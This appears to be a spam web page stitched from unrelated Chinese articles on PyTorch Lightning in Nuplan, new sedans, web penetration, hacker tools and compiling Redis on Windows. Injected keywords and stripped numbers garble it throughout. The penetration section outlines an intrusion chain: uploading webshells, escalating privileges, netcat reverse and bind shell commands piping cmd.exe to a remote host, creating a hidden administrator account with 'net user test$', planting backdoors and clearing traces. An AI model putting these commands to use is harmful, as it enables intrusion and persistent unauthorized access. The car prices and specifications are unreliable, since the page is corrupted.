1.Nuplan源码中Pytorch Lightning详解
2.节后买车指南：这几款轿车颜值高又智能，码包最低才8万元出头
3.web渗透是码包什么？
4.黑客工具软件大全100套
5.编译实战 | 手摸手教你在Windows环境下运行Redis6.x
Nuplan源码中Pytorch Lightning详解
Nuplan源码解读系列中，我们已对Hydra进行了详尽解析。码包Pytorch Lightning，码包针对大型工程设计，码包模块独立，码包聚合支付 源码 java提供模板，码包简化开发。码包其应用主要分为四部分：数据加载、码包模型构建、码包模型使用、码包回调函数。码包在Nuplan中，码包数据加载与模型训练通过run_training.py执行，码包模型评估与可视化则在run_simulation.py和run_nuborad.py中进行。码包Pytorch Lightning提供了简洁实例教程，帮助快速上手。
数据加载方面，Nuplan数据集通过自定义Dataset继承torch.utils.data.Dataset进行加载。数据预处理在compute_features函数中执行，提取map和agent的特征与目标信息。Trainer.fit()启动训练，每个batchsize自动调用getitem函数，执行数据提取。
在数据管理上，LightningDataModule用于数据集划分，Nuplan使用setup、teardown、train_dataloader、val_dataloader、test_dataloader等函数。setup函数调用create_dataset划分数据集，随机选取样本作为训练集。
模型准备阶段，通过LightningModule加载模型，关键方法包括training_step、validation_step、test_step与configure_optimizers。这些函数用于不同阶段的训练、验证、测试与设置优化器。详细流程包括数据准备、自动调用训练函数，以及在training_step中执行整个训练流程，包含特征与目标提取、前向传播、损失计算与指标评估。
后续，我们计划继续探讨Pytorch Lightning的高级应用，以及在Nuplan项目中如何高效集成与优化。请注意，这里提供的代码示例基于在Pytorch Lightning框架上开发的plantf，而非Nuplan的腾讯10分源码原始代码，但主体框架与之相似，仅在模型内容上有所差异。期待进一步的分享与交流。
节后买车指南：这几款轿车颜值高又智能，最低才8万元出头
对于国人来说，虽然很多人对SUV钟爱有加，但是轿车低重心、低油耗以及灵动实用等特点，仍吸引了不少消费者。近几年，在燃油价格不断上涨与新能源化趋势下，一些品牌车企推出了不少纯电、混动轿车，让轿车种类更加丰富，极大地提升了国内轿车市场的繁荣。在这里《车壹圈》就为大家推荐几款今年上市的新款轿车，看看是否有你喜欢的车型。
银河L6：性价比超高的混动轿车
在银河L6上市之前，大家对中高端新能源轿车的概念还停留在价格太贵了。而随吉利银河L6上市，给人们带来一大感受就是超值。
事实上也是如此，银河L6共推出5款车型，官方售价区间为.万-.万元，对于打算入手新能源轿车的朋友来说，这个价格真正做到了“油电同价”，很值得入手。
不仅售价亲民，作为吉利旗下定位中高端新能源车型的银河L6，从内到外都透露着一种高档感。
外观上，银河L6高端大气。前脸采用封闭式格栅设计，前大灯采用时下流行的贯穿式风格，机舱盖上的隆起线条，极大整车运动感。而车身侧面造型流畅、简洁，隐藏式门把手、溜背式造型更加贴近“轿跑”车型风格。
内饰方面，银河L6采用大量的软包包覆和钢琴烤漆喷面材质，进一步提升车内高档感，.英寸液晶仪表，拉升车内科技感。同时，//mm车身尺寸加上mm轴距，带来更加宽敞舒适的驾乘体验。
动力也是银河L6一大优势，相较于同级车普遍搭载1.5L自吸发动机和单挡变速器，银河L6全系标配1.5TD雷神电混发动机，搭配上3挡变频电驱DHT Pro，伪装系统进程源码提供纯电、增程、智能、性能四种驾驶模式。在新一代雷神电混的赋能下，WLTC综合续航里程km，百公里亏电油耗4.L。
智能配置上，银河L6搭载旗舰级座舱芯片+吉利银河专属原生智能座舱系统银河N OS，UI设计和操作都与手机相同，方便用户直接操作——在这个价格区间里，更加彰显银河L6超值与实用。
全新雅阁：亲民版“电动化旗舰”
随着新能源化趋势的加速以及自主高端新能源品牌的崛起，无疑对合资品牌提出了更高要求。不过缓过神来的合资品牌一旦发力，其势头也不可小觑。今年，随着全新雅阁的上市，在高端新能源市场又多了一个强劲的对手。
广汽本田推出全新雅阁，两大动力类型、七个版本。其中，e:PHEV强电智混车型市场指导价为.万元-.万元，锐•T动车型市场指导价为.万元-.万元。
面对来势汹汹的智能化时代，全新雅阁在对内饰进行升级的同时，也增加了不少智能科技配置，搭载7英寸TFT液晶仪表盘和.2英寸中控台的组合，搭载Honda CONNECT 4.0智导互联系统，满足不同用户的个性化需求。
动力方面，新车搭载第四代i-MMD双电机混动系统，能够根据驾驶状态提供纯电、混合和发动机直驱三种模式。其中，全新雅阁(ALL NEW ACCORD)e:PHEV既能长时间纯电驱动又能混合驱动，彻底解决新能源时代用户出行痛点。
智能安全方面，也是全新雅阁一大亮点。新车配备Honda SENSING 安全超感系统，采用毫米波雷达和前置摄像头组成的FCTW穿行先知系统、LCCM变道后卫系统等最新技术成果——这些智能驾驶辅助系统的引入，对预判是否有障碍物或者行人等风险，提升了必要的智能安全保障。对于一代经典车型来说，与时俱进地提升，才会让它的生命力不断得到延续。
全新一代君越：越级科技座驾
看完两款新能源轿车后，我们再了解一下今年推出的燃油车，其中比较关注的是全新一代君越。
今年5月份，茶道开发源码全新一代君越正式上市，新车推出T越行版、T越享版、T越尊版和艾维亚版共四款车型，售价.万元-.万元。
外观上，全新一代君越承袭别克PURE Design纯粹设计理念，整体感觉非常时尚年轻，相比上一代车型有了很大改观。车头采用全新的家族飞檐展翼式前脸，星芒进气格栅，配合新的三色盾徽标；饱满富有张力的侧身配合mm超长轴距，让豪华车的气场得到大幅度提升。
动力方面，全新一代君越依然保存着高效可靠的动力输出。在1.5升涡轮增压发动机，提供充沛动力的同时，还提供2.0升涡轮增压发动机作为选装配置，极大地满足了人们对动力的需求。
其中，T车型和艾维亚版均搭载由第八代Ecotec 2.0T可变缸涡轮增压发动机、V轻混动系统及9速HYDRA-MATIC智能变速箱组成的全新一代智能驱动系统，可输出最大功率kW和Nm峰值扭矩，WLTC综合工况百公里油耗最低仅6.L。
当然，全新一代君越最大的变化还是智能科技方面。首先，车内以游艇式悬浮中控台为中心，营造出科技感极强的驾乘空间，为消费者带来耳目一新的触动。
其次，搭载新一代VCS智能座舱，配备EYEMAX 吋弧面6K屏及高通骁龙芯片，连同支持整车FOTA升级的VIP智能电子架构、5G通信技术，带来沉浸式感官享受和流畅的交互操作体验。
值得一提的是，艾维亚车型还搭载AirCare智能数显净舱系统，可有效过滤、吸附外界空气中的灰尘以及花粉类颗粒物，对0.3μm以上颗粒物过滤效率可达%以上，全面呵护用户的健康出行。
长安逸达：高配置家轿首选
如果要在万元左右家轿中选一款适用车型，那么长安逸达无疑首当其冲成为首选。今年3月份上市的长安逸达1.5T GDI自动尊贵型 8.万元、1.5T GDI自动领航型9.万元、1.5T GDI自动旗舰型. 万元。不到万元就能拥有一辆高品质、高颜值、高配置的家轿，难道你不动心吗？
先看外观，逸达采用源代码点阵式格栅轮廓、超市结账系统源码数字光标LED前大灯、同级独有的隐藏式门把手、顶置式鲨鱼鳍LED制动灯、独创的集成式尾标开关、极具运动感的扰流尾翼设计，在为整车营造时尚运动气息的同时，也拉升了整车高档感。
内饰方面，逸达全系标配.2 英寸高清中控屏、同级更大可开启式星野全景天窗等越级配置。作为一款定位于紧凑级轿车，长安逸达车身尺寸**mm，轴距mm，在营造舒适空间的同时，更带来丰富的科技体验。
此外，细长的.英寸多功能仪表屏幕位于驾驶席前方，使驾驶员不必将视线过多的下移去看信息；中央大屏幕采用竖屏形式，超大的屏幕尺寸为.2英寸进一步提升车内科技感。
动力方面，该车搭载蓝鲸新一代1.5升涡轮增压直喷发动机，最大功率为kW、最大扭矩为N·m，匹配是7速湿式双离合变速器，WLTC综合工况下，百公里油耗仅5.升。
此外，长安逸达还搭载全车6安全气囊、搭载DMS、IMS、IACC集成式自适应巡航，°高清全景影像，°集成式高清行车记录仪等等不足万元的起步价，还拥有如此丰富的科技配置，你们说选择长安逸达超值不超值？
在《车壹圈》看来：理性的消费者选择自己心仪的车型，永远相信“只买对的，不买贵的”这句至理名言。事实上，随着今年“价格战”如火如荼，即使合资品牌新推出的轿车在定价方面，也显示出少有的亲民态度，那么自主轿车在这方面就更加显得超值了。
以上推荐的四款车既有新能源轿车也有燃油轿车，从高端、到中高端再到常规车型一应俱全，产品优势也是各有千秋点。如果你是消费者，年底买车时该会做出怎样的选择呢？
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web渗透是什么？
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp
在内网主机上执行：
nc-e cmd.exe 公网主机ip
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
黑客工具软件大全套
一、网络探测与安全扫描
1. Nessus
作为一款漏洞扫描软件，Nessus拥有超过个插件，能够为远程和本地系统提供全面的安全检测。其GTK界面和自定义插件功能使得操作更加便捷。尽管Nessus 3的免费版本源代码被封禁，购买新插件成为了其一大亮点。
2. Wireshark
作为开源的网络协议分析器，Wireshark能够实时捕获网络数据，支持多种协议和媒体类型。其显示过滤器语言和命令行版本同样强大，但需注意定期进行安全更新。
3. Snort
Snort是一款开源的入侵检测系统，擅长于协议分析和检测可疑行为。其基础的BASE引擎分析简单易用。
4. Netcat
Netcat是一个灵活的网络工具，不仅能进行TCP/UDP数据的读写，还能扩展为多功能调试工具，如Socat和Ncat。
二、密码破解与恢复
5. Cain & Abel
Cain & Abel是一款针对Windows系统的密码嗅探器，其密码破解功能强大，相关文档也非常详尽。
6. John the Ripper
John the Ripper是一款跨平台的密码破解工具，支持多种加密类型，能够有效保护你的密码安全。
三、网络安全防护与防护工具
7. Ettercap
Ettercap是一款交换式局域网的嗅探专家，能够进行实时过滤，保护网络安全。
8. Nikto
Nikto是一款全面的网页扫描器，能够揭示隐藏的漏洞隐患。
四、基础通信工具与远程访问
9. OpenSSH与PuTTY
OpenSSH与PuTTY分别为远程服务器访问提供安全通道。SSH以其易用性和广泛支持而著称，而PuTTY在Windows系统上尤为流行。
. ThC Hydra
ThC Hydra是一款快速的网络认证破解工具，展现其强大的攻击力量。
. Paros proxy
Paros proxy是一款网页漏洞评估代理，支持SQL注入等高级攻击，帮助你洞悉网络风险。
五、网络深入探索与管理
. Netfilter
Netfilter是Linux内核的网络数据包过滤器，拥有丰富的第三方扩展，如FTP功能的增强。
. Sysinternals的工具集
Sysinternals提供的工具集，如ProcessExplorer和PsTools，为Windows系统管理提供实用解决方案。
. Retina
Retina是一款由eEye开发的商业漏洞扫描器，与Nessus齐名，能够提供深入的系统安全评估。
. 脚本语言
通过Perl、Python和Ruby等脚本语言，如Net::RawIP，能够解决特定的网络安全挑战。
六、经典与专业工具
. 基础命令
从基础命令如ping、telnet到高级工具如L0phtcrack（需注册码），这些工具构成了网络安全的完整链条。
. 网络安全管理
如GnuPG/PGP等开源PGP应用，以及专业的Core Impact等工具，都在各自领域发挥着关键作用。
网络安全是一个持续学习和更新的领域，确保你总是掌握最新、最有效的工具箱。
编译实战 | 手摸手教你在Windows环境下运行Redis6.x
哈喽大家好啊，我是没事就愿意瞎捣鼓的Hydra。
不知道有没有小伙伴像我一样，平常开发中用的是windows操作系统，有时候想装点什么软件，一看只支持linux系统，无奈要么启动虚拟机、要么装在云服务器上。
这不前几天又是这样，刚想用一下Redis 6.x版本来尝试一下新特性，打开官网一看，好家伙我直呼内行，果然不支持windows系统：
不过虽然redis的官网上不提供windows版本下载，但是这也难不倒我这个面向百度编程的小能手，一番查找后让我找到了微软在github上维护的几个可以在windows上运行的redis版本：
项目的git地址是/MicrosoftArchive/redis/releases，我翻了一下，微软维护了2.x和3.x的多个windows版本redis，不过比较遗憾，在维护到3.0.正式版本后就放弃了更新。
不过问题不大，眼看微软撂挑子不干了，波兰的热心市民 Tomasz Poradowski 先生这时候站出来，继续开始提供可以在windows上运行的4.x和5.x版本的redis，并且从年到年一干就是5年。
项目git地址是/tporadowski/redis/releases，没错，其实我本地环境运行的redis-5.0.9就是以前从这里下载的，而且绿色版使用起来真的是干净又卫生，所以我强烈建议大家给这位老哥来一个Star支持一下。
不过绕了这么一大圈，我的问题还是没有解决啊，既然没有现成的可以在windows上运行的redis6.x版本，那我们干脆就来自己编译一个吧。
首先介绍一下我们今天要用到的工具Cygwin，先简单看一下它的官网 /，上面很清晰的解释了几个容易引起大家混淆的问题：
先解释了cygwin是什么：
再纠正了大家的常见误区：
其实可以用一句话来概括一下它的功能，cygwin是一个可运行于原生windows系统上的POSIX兼容环境，可以通过重新编译将linux应用移植到windows中。
好了，这样简单了解一下cygwin的功能对我们来说暂时就足够了，下面我们看看如何使用它来编译windows版本redis。
下面我们先进行编译工具Cygwin的下载和安装，在它的官网上就可以直接下载，完成后就可以开始安装了。下面我会贴出一些需要特殊配置的步骤，如果没有特殊说明的话，那么直接痛快的点击下一步就可以了。
网络连接配置这里选择第二项，也就是直接连接，不需要任何代理方式：
在选择下载源这一步，先手动输入User URL，添加阿里云的镜像/cygwin，点击add后再选择我们刚才添加的这个源，然后点击下一步：
接下来选择需要下载安装的组件包，我们只需要下载我们编译相关的模块即可。先通过上面的搜索框进行定位，选择安装Devel模块下面的make、gcc-core，gcc-g++，以及Libs模块下的libgcc1 、libgccpp1，然后点击New这一列的Skip，选择要安装的版本号，全部添加完成后点击下一步：
接下来会自动进行下载上面选择的模块，等待全部下载结束后安装就完成了：
安装完成后，我们运行Cygwin Terminal，通过命令检测可以看到Status为OK，表示cygwin运行正常：
准备好编译工具后，我们接下来先下载redis6.x版本的源码，6.0.的下载地址为：
download.redis.io/relea...
cygwin安装完成后，会在它的安装路径的home目录下，创建一个以你登录系统的用户名来命名的目录，我们把下载完成后的压缩包放到这个cygwin\home\${ user}目录下，在cygwin命令行中先执行解压命令：
使用下面的命令先切换到解压后的根目录，然后执行编译和安装：
点击回车，然后就开始漫长的等待吧，不得不说编译和安装的过程真的很慢，我这大概花了分钟才全部完成。
不出意外的最后果然出现了意外，报了两个Error，不过貌似没有什么太大影响，切换到src目录下，就已经可以看到编译完成后已经生成了6个exe可执行文件了：
但是如果这个时候双击redis-server.exe尝试进行启动的话，那么就会报错提示缺少dll动态链接库：
我们可以在cygwin的bin目录下找到这个文件，为了方便，把可执行文件、动态链接库文件、redis配置文件拷贝到一个单独的目录下再次尝试启动：
这次能够正常启动成功，我们再使用客户端连接工具连接并进行测试，终于，6.0.版本的redis可以在windows环境下正常运行了。
忙活一大顿总算成功了，我们也终于可以在windows上体验redis6.x版本了，不过这里还是给小伙伴们提个醒，这样编译的redis我们平常自己在学习中体验一下就可以了，尽量不要用在生产上。
因为cygwin编译后的程序，相当于在windows系统上模拟实现了POSIX兼容层，应用程序在底层多了一层函数调用，因此效率比运行在linux系统的原生应用低了很多。因此，这样在windows上运行的redis，无疑会损失掉它引以为傲的高性能这一优势。
秉持着好东西就要分享的原则，我也已经把编译好的windows版redis6.0.上传到了网盘，有需要的小伙伴们可以从下面获取下载方式。
那么，这次的分享就到这里，我是Hydra，下期见。
作者简介，码农参上，一个热爱分享的公众号，有趣、深入、直接，与你聊聊技术。个人微信DrHydra9，欢迎添加好友，进一步交流。